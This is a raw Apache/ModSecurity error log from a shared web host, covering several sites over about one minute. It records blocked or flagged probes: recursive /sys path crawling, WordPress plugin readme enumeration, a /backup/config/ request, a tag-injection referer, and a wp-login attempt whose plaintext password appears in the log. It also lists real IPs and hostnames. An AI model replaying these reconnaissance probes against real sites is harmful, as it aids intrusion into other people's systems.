[Fri Jul 17 08:01:58.243186 2026] [security2:error] [pid 1996894:tid 1996894] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty48/subsystem/ttyS1/dev"] [unique_id "almUHo4Wmn5zySdNNkAfOAAAABM"]
[Fri Jul 17 08:01:58.243220 2026] [security2:error] [pid 1996894:tid 1996894] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty48/subsystem/ttyS1/dev"] [unique_id "almUHo4Wmn5zySdNNkAfOAAAABM"]
[Fri Jul 17 08:01:58.748569 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:01:59.764394 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:00.129535 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:01.680849 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:02.320616 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:02.502584 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:04.227881 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:04.817817 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:04.894227 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:05.232874 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:15.883415 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.anandaobauae.org"] [uri "/anandaV3/img/sponsor1.png"] [unique_id "almULxAi3pC6yjXGNq14CAAAAAU"]
[Fri Jul 17 08:02:15.883762 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/anandaV3/img/sponsor1.png"] [unique_id "almULxAi3pC6yjXGNq14CAAAAAU"]
[Fri Jul 17 08:02:15.921839 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/anandaV3/img/sponsor1.png"] [unique_id "almULxAi3pC6yjXGNq14CAAAAAU"]
[Fri Jul 17 08:02:17.580009 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:58072] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:02:19.218573 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:58152] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:02:19.480195 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:21.212598 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:58218] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:02:21.590666 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:37100] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:02:21.970237 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:37124] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:02:22.419648 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:37144] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:02:24.145020 2026] [ssl:error] [pid 1994967:tid 1994967] (70014)End of file found: [client 66.85.158.91:37228] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:02:24.274112 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:26.365050 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:26.410362 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:26.465397 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:26.677911 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:26.845551 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:26.894759 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:26.947009 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:26.996681 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:27.418344 2026] [security2:error] [pid 1996894:tid 1996894] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:3/subsystem/console/power/control"] [unique_id "almUO44Wmn5zySdNNkAfUQAAABM"]
[Fri Jul 17 08:02:27.418391 2026] [security2:error] [pid 1996894:tid 1996894] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:3/subsystem/console/power/control"] [unique_id "almUO44Wmn5zySdNNkAfUQAAABM"]
[Fri Jul 17 08:02:27.597682 2026] [ssl:error] [pid 1993659:tid 1993659] (70014)End of file found: [client 66.85.158.91:37416] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:02:28.025849 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:37454] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:02:28.343660 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 47.82.49.153:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/116:5/device/device/subsystem/drivers/uhci_hcd/bind
[Fri Jul 17 08:02:28.950641 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:30.797311 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:30.977410 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:31.230496 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almUPo1dLClkUfK_dfHcBQAAAAI"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1020&page_105=1383
[Fri Jul 17 08:02:31.230526 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almUPo1dLClkUfK_dfHcBQAAAAI"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1020&page_105=1383
[Fri Jul 17 08:02:31.306583 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:31.307788 2026] [security2:error] [pid 1996894:tid 1996894] [client 47.79.10.242:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:50/subsystem/tty0/subsystem/ptmx/"] [unique_id "almUP44Wmn5zySdNNkAfVQAAABM"]
[Fri Jul 17 08:02:31.307812 2026] [security2:error] [pid 1996894:tid 1996894] [client 47.79.10.242:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:50/subsystem/tty0/subsystem/ptmx/"] [unique_id "almUP44Wmn5zySdNNkAfVQAAABM"]
[Fri Jul 17 08:02:31.461026 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:31.537070 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:31.859932 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:31.922635 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:32.249289 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:32.336890 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:32.455766 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:32.668751 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:32.670119 2026] [security2:error] [pid 1994956:tid 1994956] [client 47.82.13.108:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:24/subsystem/tty54/subsystem/tty9/"] [unique_id "almUQAG5-NXx3Mem1QgJQQAAAA8"]
[Fri Jul 17 08:02:32.670151 2026] [security2:error] [pid 1994956:tid 1994956] [client 47.82.13.108:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:24/subsystem/tty54/subsystem/tty9/"] [unique_id "almUQAG5-NXx3Mem1QgJQQAAAA8"]
[Fri Jul 17 08:02:32.778027 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:33.241136 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:56210] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:02:33.863144 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:56248] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:02:36.009962 2026] [ssl:error] [pid 1993675:tid 1993675] (70014)End of file found: [client 66.85.158.91:56306] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:02:36.346682 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:36.347689 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:36.620713 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:36.650155 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:36.694083 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:36.765904 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:36.937317 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:36.998473 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:37.027304 2026] [security2:error] [pid 1993671:tid 1993671] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almURQ5GPQ6hs4VrfMo4owAAAAY"], referer: http://www.anandaobauae.org/?C=D;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:02:37.027330 2026] [security2:error] [pid 1993671:tid 1993671] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almURQ5GPQ6hs4VrfMo4owAAAAY"], referer: http://www.anandaobauae.org/?C=D;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:02:37.050007 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:37.196404 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:38.409789 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:39.751436 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:56474] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:02:39.872706 2026] [security2:error] [pid 1994967:tid 1994967] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:66/device/subsystem/input1/phys"] [unique_id "almUR0hq6UAnqYko0LpRtwAAABE"]
[Fri Jul 17 08:02:39.872776 2026] [security2:error] [pid 1994967:tid 1994967] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:66/device/subsystem/input1/phys"] [unique_id "almUR0hq6UAnqYko0LpRtwAAABE"]
[Fri Jul 17 08:02:41.512324 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:41.686507 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:41.783730 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:42.091496 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:42.633485 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:43.434232 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:60592] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:02:44.126667 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:60632] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:02:44.411399 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:44.467356 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almUTI1dLClkUfK_dfHcEQAAAAI"], referer: http://www.anandaobauae.org/?C=N;O=Auploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:02:44.467554 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almUTI1dLClkUfK_dfHcEQAAAAI"], referer: http://www.anandaobauae.org/?C=N;O=Auploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:02:48.016251 2026] [ssl:error] [pid 1994446:tid 1994446] (70014)End of file found: [client 66.85.158.91:60844] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:02:50.806202 2026] [security2:error] [pid 1993572:tid 1993572] [client 184.154.139.34:0] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 'n&1' [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "66"] [id "942100"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: n&1 found within REQUEST_COOKIES:wordpress_wp_travel_engine_session: f7a42d289ad716daa5c8b5b083b2abd5||1784257365||1784257005"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/66"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almUUol9vhFBGA6D8l9xfwAAAAw"]
[Fri Jul 17 08:02:50.806478 2026] [security2:error] [pid 1993572:tid 1993572] [client 184.154.139.34:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almUUol9vhFBGA6D8l9xfwAAAAw"]
[Fri Jul 17 08:02:51.558134 2026] [security2:error] [pid 1993572:tid 1993572] [client 184.154.139.34:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=5,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almUUol9vhFBGA6D8l9xfwAAAAw"]
[Fri Jul 17 08:02:52.275186 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almUVI1dLClkUfK_dfHcGgAAAAI"], referer: http://anandaobauae.org/?%3Cplay%3Ewithme%3C/%3Euploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:02:52.275219 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almUVI1dLClkUfK_dfHcGgAAAAI"], referer: http://anandaobauae.org/?%3Cplay%3Ewithme%3C/%3Euploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:02:58.736413 2026] [security2:error] [pid 1996894:tid 1996894] [client 66.249.64.5:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/storage/post/pdfs/en_6400753153e22_sitrep-gl-en-09-02_10_23 (6).pdf"] [unique_id "almUWo4Wmn5zySdNNkAffgAAABM"]
[Fri Jul 17 08:02:58.736460 2026] [security2:error] [pid 1996894:tid 1996894] [client 66.249.64.5:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/storage/post/pdfs/en_6400753153e22_sitrep-gl-en-09-02_10_23 (6).pdf"] [unique_id "almUWo4Wmn5zySdNNkAffgAAABM"]
[Fri Jul 17 08:02:58.744043 2026] [security2:error] [pid 1993671:tid 1993671] [client 178.128.28.24:0] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 'novc' [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "66"] [id "942100"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: novc found within ARGS:pwd: QAZ!@#321Qaz"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/66"] [tag "PCI/6.5.2"] [hostname "neotechlk.com"] [uri "/wp-login.php"] [unique_id "almUWg5GPQ6hs4VrfMo4wwAAAAY"], referer: https://neotechlk.com/wp-login.php
[Fri Jul 17 08:02:58.744467 2026] [security2:error] [pid 1993671:tid 1993671] [client 178.128.28.24:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "neotechlk.com"] [uri "/wp-login.php"] [unique_id "almUWg5GPQ6hs4VrfMo4wwAAAAY"], referer: https://neotechlk.com/wp-login.php
[Fri Jul 17 08:02:58.996795 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:02:59.171338 2026] [security2:error] [pid 1993671:tid 1993671] [client 178.128.28.24:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=5,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "neotechlk.com"] [uri "/wp-login.php"] [unique_id "almUWg5GPQ6hs4VrfMo4wwAAAAY"], referer: https://neotechlk.com/wp-login.php
[Fri Jul 17 08:03:01.005242 2026] [authz_core:error] [pid 1993668:tid 1993668] [client 184.154.139.34:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/elementor/readme.txt
[Fri Jul 17 08:03:01.408590 2026] [authz_core:error] [pid 1993998:tid 1993998] [client 184.154.139.34:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/google-language-translator/readme.txt
[Fri Jul 17 08:03:02.057631 2026] [authz_core:error] [pid 1993675:tid 1993675] [client 184.154.139.34:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/creame-whatsapp-me/readme.txt
[Fri Jul 17 08:03:02.663981 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:02.962602 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.anandaobauae.org"] [uri "/backup/config/"] [unique_id "almUXg5GPQ6hs4VrfMo4zQAAAAY"]
